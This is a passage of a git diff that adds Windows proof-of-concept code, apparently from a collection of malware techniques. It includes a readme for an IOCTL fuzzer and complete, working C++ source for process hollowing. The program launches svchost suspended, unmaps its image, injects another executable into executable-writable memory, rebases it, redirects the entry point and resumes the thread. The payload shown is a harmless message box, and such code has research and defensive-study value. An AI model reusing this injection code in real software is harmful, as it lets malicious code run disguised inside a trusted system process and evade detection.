Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/version.rc b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/version.rc new file mode 100644 index 00000000..858bea06 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/version.rc @@ -0,0 +1,124 @@ +//Microsoft Developer Studio generated resource script. +// + +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_COMMAND_CONTROL_VALUE 1000 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif + + +#define APSTUDIO_READONLY_SYMBOLS +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 2 resource. +// +#define APSTUDIO_HIDDEN_SYMBOLS +#include "windows.h" +#undef APSTUDIO_HIDDEN_SYMBOLS +#include "ntverp.h" + +///////////////////////////////////////////////////////////////////////////// +#undef APSTUDIO_READONLY_SYMBOLS + +///////////////////////////////////////////////////////////////////////////// +// Chinese (P.R.C.) resources + +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) +#ifdef _WIN32 +LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED +#pragma code_page(936) +#endif //_WIN32 + +#ifndef _MAC +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 1,0,0,5 + PRODUCTVERSION 1,0,0,5 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x3L + FILESUBTYPE 0x7L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "080404b0" + BEGIN + VALUE "Comments", "Fuzzer\0" + VALUE "CompanyName", "\0" + VALUE "FileDescription", "IOCTL Fuzzer\0" + VALUE "FileVersion", "1.0.0.5\0" + VALUE "InternalName", "IOCTL_fuzzer.sys\0" + VALUE "LegalCopyright", "\0" + VALUE "LegalTrademarks", "\0" + VALUE "OriginalFilename", "IOCTL_fuzzer.sys\0" + VALUE "PrivateBuild", "\0" + VALUE "ProductName", "Fuzzer\0" + VALUE "ProductVersion", "1.0.0.5\0" + VALUE "SpecialBuild", "\0" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x804, 1200 + END +END + +#endif // !_MAC + + +#ifdef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// TEXTINCLUDE +// + +1 TEXTINCLUDE MOVEABLE PURE +BEGIN + "resource.h\0" +END + +2 TEXTINCLUDE MOVEABLE PURE +BEGIN + "#define APSTUDIO_HIDDEN_SYMBOLS\r\n" + "#include ""windows.h""\r\n" + "#undef APSTUDIO_HIDDEN_SYMBOLS\r\n" + "#include ""ntverp.h""\r\n" + "\0" +END + +3 TEXTINCLUDE MOVEABLE PURE +BEGIN + "\r\n" + "\0" +END + +#endif // APSTUDIO_INVOKED + +#endif // Chinese (P.R.C.) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/Win32/Proof of Concepts/HookDeviceIocontrlFile/ReadMe.txt b/Win32/Proof of Concepts/HookDeviceIocontrlFile/ReadMe.txt new file mode 100644 index 00000000..56a34754 --- /dev/null +++ b/Win32/Proof of Concepts/HookDeviceIocontrlFile/ReadMe.txt @@ -0,0 +1,5 @@ +change from https://github.com/Cr4sh/ioctlfuzzer + +to log DeviceIoControl buffer by xml file. + +support for 32 and 64 bits. \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/Readme.txt b/Win32/Proof of Concepts/Process-Hollowing/Readme.txt new file mode 100644 index 00000000..8ece4885 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/Readme.txt @@ -0,0 +1 @@ +https://github.com/m0n0ph1/Process-Hollowing \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/pdf/process-hollowing.pdf b/Win32/Proof of Concepts/Process-Hollowing/pdf/process-hollowing.pdf new file mode 100644 index 00000000..dae3c15f Binary files /dev/null and b/Win32/Proof of Concepts/Process-Hollowing/pdf/process-hollowing.pdf differ diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.cpp b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.cpp new file mode 100644 index 00000000..e6c1c580 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.cpp @@ -0,0 +1,14 @@ +// HelloWorld.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" +#include + + +int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) +{ + MessageBoxA(0, "Hello World", "Hello World", 0); + + return 0; +} + diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcproj b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcproj new file mode 100644 index 00000000..6ba76530 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcproj @@ -0,0 +1,225 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj new file mode 100644 index 00000000..35d34716 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj @@ -0,0 +1,106 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {CBDD0923-D056-4517-9820-EDA9C05F5639} + HelloWorld + Win32Proj + + + + Application + Unicode + true + + + Application + Unicode + + + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + true + $(SolutionDir)$(Configuration)\ + $(Configuration)\ + false + AllRules.ruleset + + + AllRules.ruleset + + + + + + Disabled + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + Use + Level3 + EditAndContinue + + + true + Windows + MachineX86 + + + + + MaxSpeed + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + MultiThreaded + true + Use + Level3 + ProgramDatabase + + + true + Windows + true + true + MachineX86 + + + + + + Create + Create + + + + + + + + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj.filters b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj.filters new file mode 100644 index 00000000..2ea6e6ad --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/HelloWorld.vcxproj.filters @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav + + + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + + + + \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/stdafx.cpp b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/stdafx.cpp new file mode 100644 index 00000000..66c02110 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// HelloWorld.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/stdafx.h b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/stdafx.h new file mode 100644 index 00000000..b005a839 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/targetver.h b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/targetver.h new file mode 100644 index 00000000..6fe8eb79 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/HelloWorld/targetver.h @@ -0,0 +1,13 @@ +#pragma once + +// The following macros define the minimum required platform. The minimum required platform +// is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run +// your application. The macros work by enabling all features available on platform versions up to and +// including the version specified. + +// Modify the following defines if you have to target a platform prior to the ones specified below. +// Refer to MSDN for the latest info on corresponding values for different platforms. +#ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista. +#define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows. +#endif + diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing.sln b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing.sln new file mode 100644 index 00000000..ec182d27 --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ProcessHollowing", "ProcessHollowing\ProcessHollowing.vcxproj", "{0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HelloWorld", "HelloWorld\HelloWorld.vcxproj", "{CBDD0923-D056-4517-9820-EDA9C05F5639}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.ActiveCfg = Debug|Win32 + {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Debug|Win32.Build.0 = Debug|Win32 + {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.ActiveCfg = Release|Win32 + {0E0493EE-D2FF-40A8-9563-FD4FFD1431DD}.Release|Win32.Build.0 = Release|Win32 + {CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.ActiveCfg = Debug|Win32 + {CBDD0923-D056-4517-9820-EDA9C05F5639}.Debug|Win32.Build.0 = Debug|Win32 + {CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.ActiveCfg = Release|Win32 + {CBDD0923-D056-4517-9820-EDA9C05F5639}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/PE.cpp b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/PE.cpp new file mode 100644 index 00000000..179c6d6f --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/PE.cpp @@ -0,0 +1,95 @@ +#include "stdafx.h" +#include "windows.h" +#include "internals.h" +#include "pe.h" + +DWORD FindRemotePEB(HANDLE hProcess) +{ + HMODULE hNTDLL = LoadLibraryA("ntdll"); + + if (!hNTDLL) + return 0; + + FARPROC fpNtQueryInformationProcess = GetProcAddress + ( + hNTDLL, + "NtQueryInformationProcess" + ); + + if (!fpNtQueryInformationProcess) + return 0; + + _NtQueryInformationProcess ntQueryInformationProcess = + (_NtQueryInformationProcess)fpNtQueryInformationProcess; + + PROCESS_BASIC_INFORMATION* pBasicInfo = + new PROCESS_BASIC_INFORMATION(); + + DWORD dwReturnLength = 0; + + ntQueryInformationProcess + ( + hProcess, + 0, + pBasicInfo, + sizeof(PROCESS_BASIC_INFORMATION), + &dwReturnLength + ); + + return pBasicInfo->PebBaseAddress; +} + +PEB* ReadRemotePEB(HANDLE hProcess) +{ + DWORD dwPEBAddress = FindRemotePEB(hProcess); + + PEB* pPEB = new PEB(); + + BOOL bSuccess = ReadProcessMemory + ( + hProcess, + (LPCVOID)dwPEBAddress, + pPEB, + sizeof(PEB), + 0 + ); + + if (!bSuccess) + return 0; + + return pPEB; +} + +PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress) +{ + BYTE* lpBuffer = new BYTE[BUFFER_SIZE]; + + BOOL bSuccess = ReadProcessMemory + ( + hProcess, + lpImageBaseAddress, + lpBuffer, + BUFFER_SIZE, + 0 + ); + + if (!bSuccess) + return 0; + + PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)lpBuffer; + + PLOADED_IMAGE pImage = new LOADED_IMAGE(); + + pImage->FileHeader = + (PIMAGE_NT_HEADERS32)(lpBuffer + pDOSHeader->e_lfanew); + + pImage->NumberOfSections = + pImage->FileHeader->FileHeader.NumberOfSections; + + pImage->Sections = + (PIMAGE_SECTION_HEADER)(lpBuffer + pDOSHeader->e_lfanew + + sizeof(IMAGE_NT_HEADERS32)); + + return pImage; +} + diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/PE.h b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/PE.h new file mode 100644 index 00000000..b263e3ed --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/PE.h @@ -0,0 +1,246 @@ +#pragma once + +#include +#include +#include +#include + +#define BUFFER_SIZE 0x2000 + +typedef struct _RTL_DRIVE_LETTER_CURDIR { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, *PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOLEAN Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + ULONG MaximumLength; + ULONG Length; + ULONG Flags; + ULONG DebugFlags; + PVOID ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StdInputHandle; + HANDLE StdOutputHandle; + HANDLE StdErrorHandle; + UNICODE_STRING CurrentDirectoryPath; + HANDLE CurrentDirectoryHandle; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + ULONG StartingPositionLeft; + ULONG StartingPositionTop; + ULONG Width; + ULONG Height; + ULONG CharWidth; + ULONG CharHeight; + ULONG ConsoleTextAttributes; + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopName; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _PEB_FREE_BLOCK { + _PEB_FREE_BLOCK *Next; + ULONG Size; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +typedef void (*PPEBLOCKROUTINE)( + PVOID PebLock + ); + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PPEBLOCKROUTINE FastPebLockRoutine; + PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PPEB_FREE_BLOCK FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID* *ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct BASE_RELOCATION_BLOCK { + DWORD PageAddress; + DWORD BlockSize; +} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; + +typedef struct BASE_RELOCATION_ENTRY { + USHORT Offset : 12; + USHORT Type : 4; +} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; + +#define CountRelocationEntries(dwBlockSize) \ + (dwBlockSize - \ + sizeof(BASE_RELOCATION_BLOCK)) / \ + sizeof(BASE_RELOCATION_ENTRY) + +inline PEB* GetPEB() +{ + __asm mov eax, dword ptr fs:0x30; +} + +inline PIMAGE_NT_HEADERS32 GetNTHeaders(DWORD dwImageBase) +{ + return (PIMAGE_NT_HEADERS32)(dwImageBase + + ((PIMAGE_DOS_HEADER)dwImageBase)->e_lfanew); +} + +inline PLOADED_IMAGE GetLoadedImage(DWORD dwImageBase) +{ + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)dwImageBase; + PIMAGE_NT_HEADERS32 pNTHeaders = GetNTHeaders(dwImageBase); + + PLOADED_IMAGE pImage = new LOADED_IMAGE(); + + pImage->FileHeader = + (PIMAGE_NT_HEADERS32)(dwImageBase + pDosHeader->e_lfanew); + + pImage->NumberOfSections = + pImage->FileHeader->FileHeader.NumberOfSections; + + pImage->Sections = + (PIMAGE_SECTION_HEADER)(dwImageBase + pDosHeader->e_lfanew + + sizeof(IMAGE_NT_HEADERS32)); + + return pImage; +} + +inline char* GetDLLName(DWORD dwImageBase, + IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor) +{ + return (char*)(dwImageBase + ImageImportDescriptor.Name); +} + +inline IMAGE_DATA_DIRECTORY GetImportDirectory(PIMAGE_NT_HEADERS32 pFileHeader) +{ + return pFileHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; +} + +inline PIMAGE_IMPORT_DESCRIPTOR GetImportDescriptors(PIMAGE_NT_HEADERS32 pFileHeader, + IMAGE_DATA_DIRECTORY ImportDirectory) +{ + return (PIMAGE_IMPORT_DESCRIPTOR)(pFileHeader->OptionalHeader.ImageBase + + ImportDirectory.VirtualAddress); +} + +inline PIMAGE_THUNK_DATA32 GetILT(DWORD dwImageBase, + IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor) +{ + return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.OriginalFirstThunk); +} + +inline PIMAGE_THUNK_DATA32 GetIAT(DWORD dwImageBase, + IMAGE_IMPORT_DESCRIPTOR ImageImportDescriptor) +{ + return (PIMAGE_THUNK_DATA32)(dwImageBase + ImageImportDescriptor.FirstThunk); +} + +inline PIMAGE_IMPORT_BY_NAME GetImportByName(DWORD dwImageBase, + IMAGE_THUNK_DATA32 itdImportLookup) +{ + return (PIMAGE_IMPORT_BY_NAME)(dwImageBase + itdImportLookup.u1.AddressOfData); +} + + +extern std::map> gCodeChecksums; + +void WalkLoadOrderModules(void (*pLdrModuleFunction)(PLDR_MODULE, DWORD, PVOID), PVOID pParameters); + +void GenerateCodeChecksums(PLDR_MODULE pLdrModule, std::vector* pChecksums); + +void SetInitialLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams); + +void ValidateLdrCodeChecksums(PLDR_MODULE pLdrModule, DWORD dwIndex, PVOID pParams); + +typedef struct _IAT_BACKUP_INFO { + DWORD BackupLength; + DWORD*** IATBackup; +} IAT_BACKUP_INFO, *PIAT_BACKUP_INFO; + +DWORD** BackupIAT(DWORD dwImageBase); + +void RepairIAT(DWORD dwImageBase, DWORD** pIATBackup); + +DWORD FindRemotePEB(HANDLE hProcess); + +PEB* ReadRemotePEB(HANDLE hProcess); + +PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress); \ No newline at end of file diff --git a/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.cpp b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.cpp new file mode 100644 index 00000000..c8681d9c --- /dev/null +++ b/Win32/Proof of Concepts/Process-Hollowing/sourcecode/ProcessHollowing/ProcessHollowing.cpp @@ -0,0 +1,305 @@ +// ProcessHollowing.cpp : Defines the entry point for the console application. + +#include "stdafx.h" +#include +#include "internals.h" +#include "pe.h" + +void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile) +{ + + printf("Creating process\r\n"); + + LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); + LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); + + CreateProcessA + ( + 0, + pDestCmdLine, + 0, + 0, + 0, + CREATE_SUSPENDED, + 0, + 0, + pStartupInfo, + pProcessInfo + ); + + if (!pProcessInfo->hProcess) + { + printf("Error creating process\r\n"); + + return; + } + + PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); + + PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); + + printf("Opening source image\r\n"); + + HANDLE hFile = CreateFileA + ( + pSourceFile, + GENERIC_READ, + 0, + 0, + OPEN_ALWAYS, + 0, + 0 + ); + + if (hFile == INVALID_HANDLE_VALUE) + { + printf("Error opening %s\r\n", pSourceFile); + return; + } + + DWORD dwSize = GetFileSize(hFile, 0); + PBYTE pBuffer = new BYTE[dwSize]; + DWORD dwBytesRead = 0; + ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0); + + PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer); + + PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer); + + printf("Unmapping destination section\r\n"); + + HMODULE hNTDLL = GetModuleHandleA("ntdll"); + + FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); + + _NtUnmapViewOfSection NtUnmapViewOfSection = + (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; + + DWORD dwResult = NtUnmapViewOfSection + ( + pProcessInfo->hProcess, + pPEB->ImageBaseAddress + ); + + if (dwResult) + { + printf("Error unmapping section\r\n"); + return; + } + + printf("Allocating memory\r\n"); + + PVOID pRemoteImage = VirtualAllocEx + ( + pProcessInfo->hProcess, + pPEB->ImageBaseAddress, + pSourceHeaders->OptionalHeader.SizeOfImage, + MEM_COMMIT | MEM_RESERVE, + PAGE_EXECUTE_READWRITE + ); + + if (!pRemoteImage) + { + printf("VirtualAllocEx call failed\r\n"); + return; + } + + DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - + pSourceHeaders->OptionalHeader.ImageBase; + + printf + ( + "Source image base: 0x%p\r\n" + "Destination image base: 0x%p\r\n", + pSourceHeaders->OptionalHeader.ImageBase, + pPEB->ImageBaseAddress + ); + + printf("Relocation delta: 0x%p\r\n", dwDelta); + + pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; + + printf("Writing headers\r\n"); + + if (!WriteProcessMemory + ( + pProcessInfo->hProcess, + pPEB->ImageBaseAddress, + pBuffer, + pSourceHeaders->OptionalHeader.SizeOfHeaders, + 0 + )) + { + printf("Error writing process memory\r\n"); + + return; + } + + for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) + { + if (!pSourceImage->Sections[x].PointerToRawData) + continue; + + PVOID pSectionDestination = + (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); + + printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination); + + if (!WriteProcessMemory + ( + pProcessInfo->hProcess, + pSectionDestination, + &pBuffer[pSourceImage->Sections[x].PointerToRawData], + pSourceImage->Sections[x].SizeOfRawData, + 0 + )) + { + printf ("Error writing process memory\r\n"); + return; + } + } + + if (dwDelta) + for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) + { + char* pSectionName = ".reloc"; + + if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName))) + continue; + + printf("Rebasing image\r\n"); + + DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; + DWORD dwOffset = 0; + + IMAGE_DATA_DIRECTORY relocData = + pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + while (dwOffset < relocData.Size) + { + PBASE_RELOCATION_BLOCK pBlockheader = + (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; + + dwOffset += sizeof(BASE_RELOCATION_BLOCK); + + DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); + + PBASE_RELOCATION_ENTRY pBlocks = + (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; + + for (DWORD y = 0; y < dwEntryCount; y++) + { + dwOffset += sizeof(BASE_RELOCATION_ENTRY); + + if (pBlocks[y].Type == 0) + continue; + + DWORD dwFieldAddress = + pBlockheader->PageAddress + pBlocks[y].Offset; + + DWORD dwBuffer = 0; + ReadProcessMemory + ( + pProcessInfo->hProcess, + (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), + &dwBuffer, + sizeof(DWORD), + 0 + ); + + //printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer - dwDelta); + + dwBuffer += dwDelta; + + BOOL bSuccess = WriteProcessMemory + ( + pProcessInfo->hProcess, + (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), + &dwBuffer, + sizeof(DWORD), + 0 + ); + + if (!bSuccess) + { + printf("Error writing memory\r\n"); + continue; + } + } + } + + break; + } + + + DWORD dwBreakpoint = 0xCC; + + DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + + pSourceHeaders->OptionalHeader.AddressOfEntryPoint; + +#ifdef WRITE_BP + printf("Writing breakpoint\r\n"); + + if (!WriteProcessMemory + ( + pProcessInfo->hProcess, + (PVOID)dwEntrypoint, + &dwBreakpoint, + 4, + 0 + )) + { + printf("Error writing breakpoint\r\n"); + return; + } +#endif + + LPCONTEXT pContext = new CONTEXT(); + pContext->ContextFlags = CONTEXT_INTEGER; + + printf("Getting thread context\r\n"); + + if (!GetThreadContext(pProcessInfo->hThread, pContext)) + { + printf("Error getting context\r\n"); + return; + } + + pContext->Eax = dwEntrypoint; + + printf("Setting thread context\r\n"); + + if (!SetThreadContext(pProcessInfo->hThread, pContext)) + { + printf("Error setting context\r\n"); + return; + } + + printf("Resuming thread\r\n"); + + if (!ResumeThread(pProcessInfo->hThread)) + { + printf("Error resuming thread\r\n"); + return; + } + + printf("Process hollowing complete\r\n"); +} + +int _tmain(int argc, _TCHAR* argv[]) +{ + char* pPath = new char[MAX_PATH]; + GetModuleFileNameA(0, pPath, MAX_PATH); + pPath[strrchr(pPath, '\\') - pPath + 1] = 0; + strcat(pPath, "helloworld.exe"); + + CreateHollowedProcess + ( + "svchost", + pPath + ); + + system("pause"); + + return 0; +} \ No newline at end of file diff --git 